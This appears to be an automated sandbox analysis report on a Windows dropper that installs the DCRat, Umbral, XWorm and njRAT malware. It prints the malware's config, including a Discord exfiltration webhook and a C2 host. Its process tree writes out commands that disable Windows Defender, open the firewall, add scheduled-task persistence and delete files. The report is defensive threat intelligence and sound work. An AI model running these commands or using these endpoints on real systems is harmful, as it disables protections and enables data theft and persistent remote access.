dcrat | 9e90c1219aac375230e375f3d641f6b1edb2968acb41d542528ad744714c9b35

Analysis

max time kernel
149s
max time network
141s
platform
windows7_x64
resource
win7-20240704-en
resource tags

arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
submitted
01-09-2024 01:31

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General

Target

9e90c1219aac375230e375f3d641f6b1edb2968acb41d542528ad744714c9b35.exe
Size

2.0MB
MD5

b5de23814a83134fca7ce2dbc450af36
SHA1

b5592ad63cbc1706a66dbf7d4c9d833572ab1ecc
SHA256

9e90c1219aac375230e375f3d641f6b1edb2968acb41d542528ad744714c9b35
SHA512

775b910fa2918ff3a49d75beb93b51a2f09ab7cf679dab6b1046b261962b2e35d0b326bea528d195fde52259ff1692b46659b9a64cc930e5f097d4abe5752c87
SSDEEP

49152:MnOpOCv0Z29PyAey5pV/ohTXY2H2mS5auQi0dGf1ecKxClrpHZ:tON+v5p2TXvWfUeEIR

Score

10^/10

dcrat njrat umbral xworm discovery evasion execution infostealer persistence privilege_escalation rat stealer trojan

Malware Config

Extracted

Family

umbral

https://discord.com/api/webhooks/1276901959336595519/rnT2bUPlA6cH1e0gUJyRqEX6pBDNwefr13SwZvDBO14mTuQ8UwQDE9Xp0Hqk7Lk4A6UI

Extracted

Family

xworm

21.ip.gl.ply.gg:29567

Attributes

Install_directory
%Temp%
install_file
runtimebroken.exe

Signatures

DcRat
DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.
rat infostealer dcrat

Detect Umbral payload 2 IoCs

resource	yara_rule
behavioral1/files/0x0003000000011ba4-3.dat	family_umbral
behavioral1/memory/2232-37-0x0000000000AD0000-0x0000000000B10000-memory.dmp	family_umbral

Detect Xworm Payload 4 IoCs

resource	yara_rule
behavioral1/files/0x0008000000016d30-10.dat	family_xworm
behavioral1/memory/2364-36-0x0000000000D20000-0x0000000000D3A000-memory.dmp	family_xworm
behavioral1/memory/932-146-0x00000000011C0000-0x00000000011DA000-memory.dmp	family_xworm
behavioral1/memory/2240-149-0x0000000000050000-0x000000000006A000-memory.dmp	family_xworm

Process spawned unexpected child process 48 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1936	1596	schtasks.exe	36
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1908	1596	schtasks.exe	36
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1572	1596	schtasks.exe	36
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1692	1596	schtasks.exe	36
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2064	1596	schtasks.exe	36
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2676	1596	schtasks.exe	36
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2708	1596	schtasks.exe	36
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2784	1596	schtasks.exe	36
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2348	1596	schtasks.exe	36
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2804	1596	schtasks.exe	36
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2576	1596	schtasks.exe	36
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2544	1596	schtasks.exe	36
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2600	1596	schtasks.exe	36
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2620	1596	schtasks.exe	36
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2572	1596	schtasks.exe	36
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1848	1596	schtasks.exe	36
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1108	1596	schtasks.exe	36
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1812	1596	schtasks.exe	36
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1140	1596	schtasks.exe	36
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3060	1596	schtasks.exe	36
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	644	1596	schtasks.exe	36
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1300	1596	schtasks.exe	36
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2104	1596	schtasks.exe	36
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	776	1596	schtasks.exe	36
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1404	1596	schtasks.exe	36
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2192	1596	schtasks.exe	36
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2332	1596	schtasks.exe	36
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2340	1596	schtasks.exe	36
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	700	1596	schtasks.exe	36
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	236	1596	schtasks.exe	36
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2508	1596	schtasks.exe	36
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1492	1596	schtasks.exe	36
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	336	1596	schtasks.exe	36
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1148	1596	schtasks.exe	36
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	544	1596	schtasks.exe	36
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1752	1596	schtasks.exe	36
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1096	1596	schtasks.exe	36
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1792	1596	schtasks.exe	36
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2108	1596	schtasks.exe	36
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2532	1596	schtasks.exe	36
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2368	1596	schtasks.exe	36
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2968	1596	schtasks.exe	36
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2960	1596	schtasks.exe	36
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2604	1596	schtasks.exe	36
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2632	1596	schtasks.exe	36
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1432	1596	schtasks.exe	36
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2956	1596	schtasks.exe	36
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2424	1596	schtasks.exe	36

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
njRAT/Bladabindi
Widely used RAT written in .NET.
trojan njrat

DCRat payload 4 IoCs

Detects payload of DCRat, commonly dropped by NSIS installers.

rat

resource	yara_rule
behavioral1/files/0x0007000000016d5d-33.dat	dcrat
behavioral1/files/0x0008000000016d6d-81.dat	dcrat
behavioral1/memory/2044-84-0x0000000001130000-0x00000000012AA000-memory.dmp	dcrat
behavioral1/memory/1600-141-0x00000000008F0000-0x0000000000A6A000-memory.dmp	dcrat

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2452	powershell.exe
1504	powershell.exe
2116	powershell.exe

Drops file in Drivers directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\drivers\etc\hosts	dUmbral.exe

Modifies Windows Firewall 2 TTPs 1 IoCs

evasion

Windows Service

T1543.003

Disable or Modify System Firewall

T1562.004

pid	Process
2704	netsh.exe

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\runtimebroken.lnk	XClient.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\runtimebroken.lnk	XClient.exe

Executes dropped EXE 11 IoCs

pid	Process
2232	dUmbral.exe
2364	XClient.exe
2932	sheetr.exe
2556	nbClient.exe
2584	DCRatBuild.exe
2044	surrogatewin.exe
3064	WindowsServices.exe
1032	surrogatewin.exe
1600	csrss.exe
932	runtimebroken.exe
2240	runtimebroken.exe

Loads dropped DLL 8 IoCs

pid	Process
1084	9e90c1219aac375230e375f3d641f6b1edb2968acb41d542528ad744714c9b35.exe
1084	9e90c1219aac375230e375f3d641f6b1edb2968acb41d542528ad744714c9b35.exe
1084	9e90c1219aac375230e375f3d641f6b1edb2968acb41d542528ad744714c9b35.exe
1084	9e90c1219aac375230e375f3d641f6b1edb2968acb41d542528ad744714c9b35.exe
1084	9e90c1219aac375230e375f3d641f6b1edb2968acb41d542528ad744714c9b35.exe
624	cmd.exe
624	cmd.exe
2556	nbClient.exe

Adds Run key to start application 2 TTPs 3 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3294248377-1418901787-4083263181-1000\Software\Microsoft\Windows\CurrentVersion\Run\runtimebroken = "C:\\Users\\Admin\\AppData\\Local\\Temp\\runtimebroken.exe"	XClient.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3294248377-1418901787-4083263181-1000\Software\Microsoft\Windows\CurrentVersion\Run\d21edb049c65ebaba2de22a974b4ef03 = "\"C:\\Users\\Admin\\AppData\\Roaming\\WindowsServices.exe\" .."	WindowsServices.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\d21edb049c65ebaba2de22a974b4ef03 = "\"C:\\Users\\Admin\\AppData\\Roaming\\WindowsServices.exe\" .."	WindowsServices.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
9	discord.com
10	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
6	ip-api.com

Drops file in Program Files directory 6 IoCs

description	ioc	Process
File created	C:\Program Files\7-Zip\taskhost.exe	surrogatewin.exe
File created	C:\Program Files\7-Zip\b75386f1303e64	surrogatewin.exe
File created	C:\Program Files\Google\PING.exe	surrogatewin.exe
File created	C:\Program Files\Google\d72122dab28b28	surrogatewin.exe
File created	C:\Program Files (x86)\Windows Sidebar\ja-JP\PING.exe	surrogatewin.exe
File created	C:\Program Files (x86)\Windows Sidebar\ja-JP\d72122dab28b28	surrogatewin.exe

Drops file in Windows directory 7 IoCs

description	ioc	Process
File created	C:\Windows\Setup\State\6203df4a6bafc7	surrogatewin.exe
File created	C:\Windows\Fonts\WmiPrvSE.exe	surrogatewin.exe
File created	C:\Windows\Fonts\24dbde2999530e	surrogatewin.exe
File created	C:\Windows\Microsoft.NET\assembly\lsass.exe	surrogatewin.exe
File opened for modification	C:\Windows\Microsoft.NET\assembly\lsass.exe	surrogatewin.exe
File created	C:\Windows\Microsoft.NET\assembly\6203df4a6bafc7	surrogatewin.exe
File created	C:\Windows\Setup\State\lsass.exe	surrogatewin.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

persistence privilege_escalation

Netsh Helper DLL

T1546.007

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key queried	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe
Key value enumerated	\REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\NetSh	netsh.exe

System Location Discovery: System Language Discovery 1 TTPs 7 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	nbClient.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	DCRatBuild.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WindowsServices.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	netsh.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	9e90c1219aac375230e375f3d641f6b1edb2968acb41d542528ad744714c9b35.exe

System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

Adversaries may check for Internet connectivity on compromised systems.

discovery

Internet Connection Discovery

T1016.001

pid	Process
2068	cmd.exe
1648	PING.EXE

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1012	wmic.exe

Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery

T1018

pid	Process
1648	PING.EXE

Scheduled Task/Job: Scheduled Task 1 TTPs 49 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence execution

Scheduled Task

T1053.005

pid	Process
1108	schtasks.exe
1140	schtasks.exe
776	schtasks.exe
2604	schtasks.exe
2632	schtasks.exe
2956	schtasks.exe
236	schtasks.exe
2576	schtasks.exe
1812	schtasks.exe
2192	schtasks.exe
644	schtasks.exe
336	schtasks.exe
1752	schtasks.exe
2572	schtasks.exe
700	schtasks.exe
2508	schtasks.exe
2676	schtasks.exe
1492	schtasks.exe
1792	schtasks.exe
1404	schtasks.exe
2532	schtasks.exe
2960	schtasks.exe
2968	schtasks.exe
1692	schtasks.exe
2108	schtasks.exe
2368	schtasks.exe
544	schtasks.exe
1908	schtasks.exe
2064	schtasks.exe
2708	schtasks.exe
2600	schtasks.exe
2104	schtasks.exe
2784	schtasks.exe
1300	schtasks.exe
2340	schtasks.exe
2544	schtasks.exe
2620	schtasks.exe
3060	schtasks.exe
1096	schtasks.exe
1572	schtasks.exe
2348	schtasks.exe
1848	schtasks.exe
2332	schtasks.exe
1148	schtasks.exe
1432	schtasks.exe
2424	schtasks.exe
2504	schtasks.exe
1936	schtasks.exe
2804	schtasks.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
2232	dUmbral.exe
2452	powershell.exe
1504	powershell.exe
2364	XClient.exe
2116	powershell.exe
2044	surrogatewin.exe
1032	surrogatewin.exe
1032	surrogatewin.exe
1032	surrogatewin.exe
1600	csrss.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	2364	XClient.exe
Token: SeDebugPrivilege	2232	dUmbral.exe
Token: SeIncreaseQuotaPrivilege	1404	wmic.exe
Token: SeSecurityPrivilege	1404	wmic.exe
Token: SeTakeOwnershipPrivilege	1404	wmic.exe
Token: SeLoadDriverPrivilege	1404	wmic.exe
Token: SeSystemProfilePrivilege	1404	wmic.exe
Token: SeSystemtimePrivilege	1404	wmic.exe
Token: SeProfSingleProcessPrivilege	1404	wmic.exe
Token: SeIncBasePriorityPrivilege	1404	wmic.exe
Token: SeCreatePagefilePrivilege	1404	wmic.exe
Token: SeBackupPrivilege	1404	wmic.exe
Token: SeRestorePrivilege	1404	wmic.exe
Token: SeShutdownPrivilege	1404	wmic.exe
Token: SeDebugPrivilege	1404	wmic.exe
Token: SeSystemEnvironmentPrivilege	1404	wmic.exe
Token: SeRemoteShutdownPrivilege	1404	wmic.exe
Token: SeUndockPrivilege	1404	wmic.exe
Token: SeManageVolumePrivilege	1404	wmic.exe
Token: 33	1404	wmic.exe
Token: 34	1404	wmic.exe
Token: 35	1404	wmic.exe
Token: SeIncreaseQuotaPrivilege	1404	wmic.exe
Token: SeSecurityPrivilege	1404	wmic.exe
Token: SeTakeOwnershipPrivilege	1404	wmic.exe
Token: SeLoadDriverPrivilege	1404	wmic.exe
Token: SeSystemProfilePrivilege	1404	wmic.exe
Token: SeSystemtimePrivilege	1404	wmic.exe
Token: SeProfSingleProcessPrivilege	1404	wmic.exe
Token: SeIncBasePriorityPrivilege	1404	wmic.exe
Token: SeCreatePagefilePrivilege	1404	wmic.exe
Token: SeBackupPrivilege	1404	wmic.exe
Token: SeRestorePrivilege	1404	wmic.exe
Token: SeShutdownPrivilege	1404	wmic.exe
Token: SeDebugPrivilege	1404	wmic.exe
Token: SeSystemEnvironmentPrivilege	1404	wmic.exe
Token: SeRemoteShutdownPrivilege	1404	wmic.exe
Token: SeUndockPrivilege	1404	wmic.exe
Token: SeManageVolumePrivilege	1404	wmic.exe
Token: 33	1404	wmic.exe
Token: 34	1404	wmic.exe
Token: 35	1404	wmic.exe
Token: SeDebugPrivilege	2452	powershell.exe
Token: SeDebugPrivilege	1504	powershell.exe
Token: SeDebugPrivilege	2364	XClient.exe
Token: SeIncreaseQuotaPrivilege	2216	wmic.exe
Token: SeSecurityPrivilege	2216	wmic.exe
Token: SeTakeOwnershipPrivilege	2216	wmic.exe
Token: SeLoadDriverPrivilege	2216	wmic.exe
Token: SeSystemProfilePrivilege	2216	wmic.exe
Token: SeSystemtimePrivilege	2216	wmic.exe
Token: SeProfSingleProcessPrivilege	2216	wmic.exe
Token: SeIncBasePriorityPrivilege	2216	wmic.exe
Token: SeCreatePagefilePrivilege	2216	wmic.exe
Token: SeBackupPrivilege	2216	wmic.exe
Token: SeRestorePrivilege	2216	wmic.exe
Token: SeShutdownPrivilege	2216	wmic.exe
Token: SeDebugPrivilege	2216	wmic.exe
Token: SeSystemEnvironmentPrivilege	2216	wmic.exe
Token: SeRemoteShutdownPrivilege	2216	wmic.exe
Token: SeUndockPrivilege	2216	wmic.exe
Token: SeManageVolumePrivilege	2216	wmic.exe
Token: 33	2216	wmic.exe
Token: 34	2216	wmic.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
2364	XClient.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1084 wrote to memory of 2232	1084	9e90c1219aac375230e375f3d641f6b1edb2968acb41d542528ad744714c9b35.exe	30
PID 1084 wrote to memory of 2232	1084	9e90c1219aac375230e375f3d641f6b1edb2968acb41d542528ad744714c9b35.exe	30
PID 1084 wrote to memory of 2232	1084	9e90c1219aac375230e375f3d641f6b1edb2968acb41d542528ad744714c9b35.exe	30
PID 1084 wrote to memory of 2232	1084	9e90c1219aac375230e375f3d641f6b1edb2968acb41d542528ad744714c9b35.exe	30
PID 1084 wrote to memory of 2364	1084	9e90c1219aac375230e375f3d641f6b1edb2968acb41d542528ad744714c9b35.exe	31
PID 1084 wrote to memory of 2364	1084	9e90c1219aac375230e375f3d641f6b1edb2968acb41d542528ad744714c9b35.exe	31
PID 1084 wrote to memory of 2364	1084	9e90c1219aac375230e375f3d641f6b1edb2968acb41d542528ad744714c9b35.exe	31
PID 1084 wrote to memory of 2364	1084	9e90c1219aac375230e375f3d641f6b1edb2968acb41d542528ad744714c9b35.exe	31
PID 1084 wrote to memory of 2932	1084	9e90c1219aac375230e375f3d641f6b1edb2968acb41d542528ad744714c9b35.exe	32
PID 1084 wrote to memory of 2932	1084	9e90c1219aac375230e375f3d641f6b1edb2968acb41d542528ad744714c9b35.exe	32
PID 1084 wrote to memory of 2932	1084	9e90c1219aac375230e375f3d641f6b1edb2968acb41d542528ad744714c9b35.exe	32
PID 1084 wrote to memory of 2932	1084	9e90c1219aac375230e375f3d641f6b1edb2968acb41d542528ad744714c9b35.exe	32
PID 1084 wrote to memory of 2556	1084	9e90c1219aac375230e375f3d641f6b1edb2968acb41d542528ad744714c9b35.exe	33
PID 1084 wrote to memory of 2556	1084	9e90c1219aac375230e375f3d641f6b1edb2968acb41d542528ad744714c9b35.exe	33
PID 1084 wrote to memory of 2556	1084	9e90c1219aac375230e375f3d641f6b1edb2968acb41d542528ad744714c9b35.exe	33
PID 1084 wrote to memory of 2556	1084	9e90c1219aac375230e375f3d641f6b1edb2968acb41d542528ad744714c9b35.exe	33
PID 1084 wrote to memory of 2584	1084	9e90c1219aac375230e375f3d641f6b1edb2968acb41d542528ad744714c9b35.exe	34
PID 1084 wrote to memory of 2584	1084	9e90c1219aac375230e375f3d641f6b1edb2968acb41d542528ad744714c9b35.exe	34
PID 1084 wrote to memory of 2584	1084	9e90c1219aac375230e375f3d641f6b1edb2968acb41d542528ad744714c9b35.exe	34
PID 1084 wrote to memory of 2584	1084	9e90c1219aac375230e375f3d641f6b1edb2968acb41d542528ad744714c9b35.exe	34
PID 2584 wrote to memory of 836	2584	DCRatBuild.exe	35
PID 2584 wrote to memory of 836	2584	DCRatBuild.exe	35
PID 2584 wrote to memory of 836	2584	DCRatBuild.exe	35
PID 2584 wrote to memory of 836	2584	DCRatBuild.exe	35
PID 2232 wrote to memory of 1404	2232	dUmbral.exe	37
PID 2232 wrote to memory of 1404	2232	dUmbral.exe	37
PID 2232 wrote to memory of 1404	2232	dUmbral.exe	37
PID 2232 wrote to memory of 880	2232	dUmbral.exe	39
PID 2232 wrote to memory of 880	2232	dUmbral.exe	39
PID 2232 wrote to memory of 880	2232	dUmbral.exe	39
PID 2232 wrote to memory of 2452	2232	dUmbral.exe	41
PID 2232 wrote to memory of 2452	2232	dUmbral.exe	41
PID 2232 wrote to memory of 2452	2232	dUmbral.exe	41
PID 2232 wrote to memory of 1504	2232	dUmbral.exe	43
PID 2232 wrote to memory of 1504	2232	dUmbral.exe	43
PID 2232 wrote to memory of 1504	2232	dUmbral.exe	43
PID 2364 wrote to memory of 2504	2364	XClient.exe	45
PID 2364 wrote to memory of 2504	2364	XClient.exe	45
PID 2364 wrote to memory of 2504	2364	XClient.exe	45
PID 2232 wrote to memory of 2216	2232	dUmbral.exe	47
PID 2232 wrote to memory of 2216	2232	dUmbral.exe	47
PID 2232 wrote to memory of 2216	2232	dUmbral.exe	47
PID 2232 wrote to memory of 1712	2232	dUmbral.exe	49
PID 2232 wrote to memory of 1712	2232	dUmbral.exe	49
PID 2232 wrote to memory of 1712	2232	dUmbral.exe	49
PID 2232 wrote to memory of 1668	2232	dUmbral.exe	51
PID 2232 wrote to memory of 1668	2232	dUmbral.exe	51
PID 2232 wrote to memory of 1668	2232	dUmbral.exe	51
PID 2232 wrote to memory of 2116	2232	dUmbral.exe	53
PID 2232 wrote to memory of 2116	2232	dUmbral.exe	53
PID 2232 wrote to memory of 2116	2232	dUmbral.exe	53
PID 2232 wrote to memory of 1012	2232	dUmbral.exe	55
PID 2232 wrote to memory of 1012	2232	dUmbral.exe	55
PID 2232 wrote to memory of 1012	2232	dUmbral.exe	55
PID 2232 wrote to memory of 2068	2232	dUmbral.exe	57
PID 2232 wrote to memory of 2068	2232	dUmbral.exe	57
PID 2232 wrote to memory of 2068	2232	dUmbral.exe	57
PID 2068 wrote to memory of 1648	2068	cmd.exe	59
PID 2068 wrote to memory of 1648	2068	cmd.exe	59
PID 2068 wrote to memory of 1648	2068	cmd.exe	59
PID 836 wrote to memory of 624	836	WScript.exe	60
PID 836 wrote to memory of 624	836	WScript.exe	60
PID 836 wrote to memory of 624	836	WScript.exe	60
PID 836 wrote to memory of 624	836	WScript.exe	60

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

Views/modifies file attributes 1 TTPs 1 IoCs

evasion

Hidden Files and Directories

T1564.001

pid	Process
880	attrib.exe

C:\Users\Admin\AppData\Local\Temp\9e90c1219aac375230e375f3d641f6b1edb2968acb41d542528ad744714c9b35.exe
"C:\Users\Admin\AppData\Local\Temp\9e90c1219aac375230e375f3d641f6b1edb2968acb41d542528ad744714c9b35.exe"
1⤵
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1084
- C:\Users\Admin\AppData\Local\Temp\dUmbral.exe
  "C:\Users\Admin\AppData\Local\Temp\dUmbral.exe"
  2⤵
  - Drops file in Drivers directory
  - Executes dropped EXE
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2232
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" csproduct get uuid
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1404
- - C:\Windows\system32\attrib.exe
    "attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\dUmbral.exe"
    3⤵
    - Views/modifies file attributes
    PID:880
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\dUmbral.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:2452
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1504
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" os get Caption
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:2216
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" computersystem get totalphysicalmemory
    3⤵
    PID:1712
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" csproduct get uuid
    3⤵
    PID:1668
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    PID:2116
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic" path win32_VideoController get name
    3⤵
    - Detects videocard installed
    PID:1012
- - C:\Windows\system32\cmd.exe
    "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Local\Temp\dUmbral.exe" && pause
    3⤵
    - System Network Configuration Discovery: Internet Connection Discovery
    - Suspicious use of WriteProcessMemory
    PID:2068
  - - C:\Windows\system32\PING.EXE
      ping localhost
      4⤵
      System Network Configuration Discovery: Internet Connection Discovery
      Runs ping.exe
      PID:1648
- C:\Users\Admin\AppData\Local\Temp\XClient.exe
  "C:\Users\Admin\AppData\Local\Temp\XClient.exe"
  2⤵
  - Drops startup file
  - Executes dropped EXE
  - Adds Run key to start application
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:2364
- - C:\Windows\System32\schtasks.exe
    "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "runtimebroken" /tr "C:\Users\Admin\AppData\Local\Temp\runtimebroken.exe"
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:2504
- C:\Users\Admin\AppData\Local\Temp\sheetr.exe
  "C:\Users\Admin\AppData\Local\Temp\sheetr.exe"
  2⤵
  - Executes dropped EXE
  PID:2932
- C:\Users\Admin\AppData\Local\Temp\nbClient.exe
  "C:\Users\Admin\AppData\Local\Temp\nbClient.exe"
  2⤵
  - Executes dropped EXE
  - Loads dropped DLL
  - System Location Discovery: System Language Discovery
  PID:2556
- - C:\Users\Admin\AppData\Roaming\WindowsServices.exe
    "C:\Users\Admin\AppData\Roaming\WindowsServices.exe"
    3⤵
    - Executes dropped EXE
    - Adds Run key to start application
    - System Location Discovery: System Language Discovery
    PID:3064
  - - C:\Windows\SysWOW64\netsh.exe
      netsh firewall add allowedprogram "C:\Users\Admin\AppData\Roaming\WindowsServices.exe" "WindowsServices.exe" ENABLE
      4⤵
      Modifies Windows Firewall
      Event Triggered Execution: Netsh Helper DLL
      System Location Discovery: System Language Discovery
      PID:2704
- C:\Users\Admin\AppData\Local\Temp\DCRatBuild.exe
  "C:\Users\Admin\AppData\Local\Temp\DCRatBuild.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:2584
- - C:\Windows\SysWOW64\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\bridgehypercomponentref\5wuflk5eGDg0JiUtQB.vbe"
    3⤵
    - System Location Discovery: System Language Discovery
    - Suspicious use of WriteProcessMemory
    PID:836
  - - C:\Windows\SysWOW64\cmd.exe
      cmd /c ""C:\Users\Admin\AppData\Local\Temp\bridgehypercomponentref\zjek1GJ52LhRCMyRfAhZF9WxGZ.bat" "
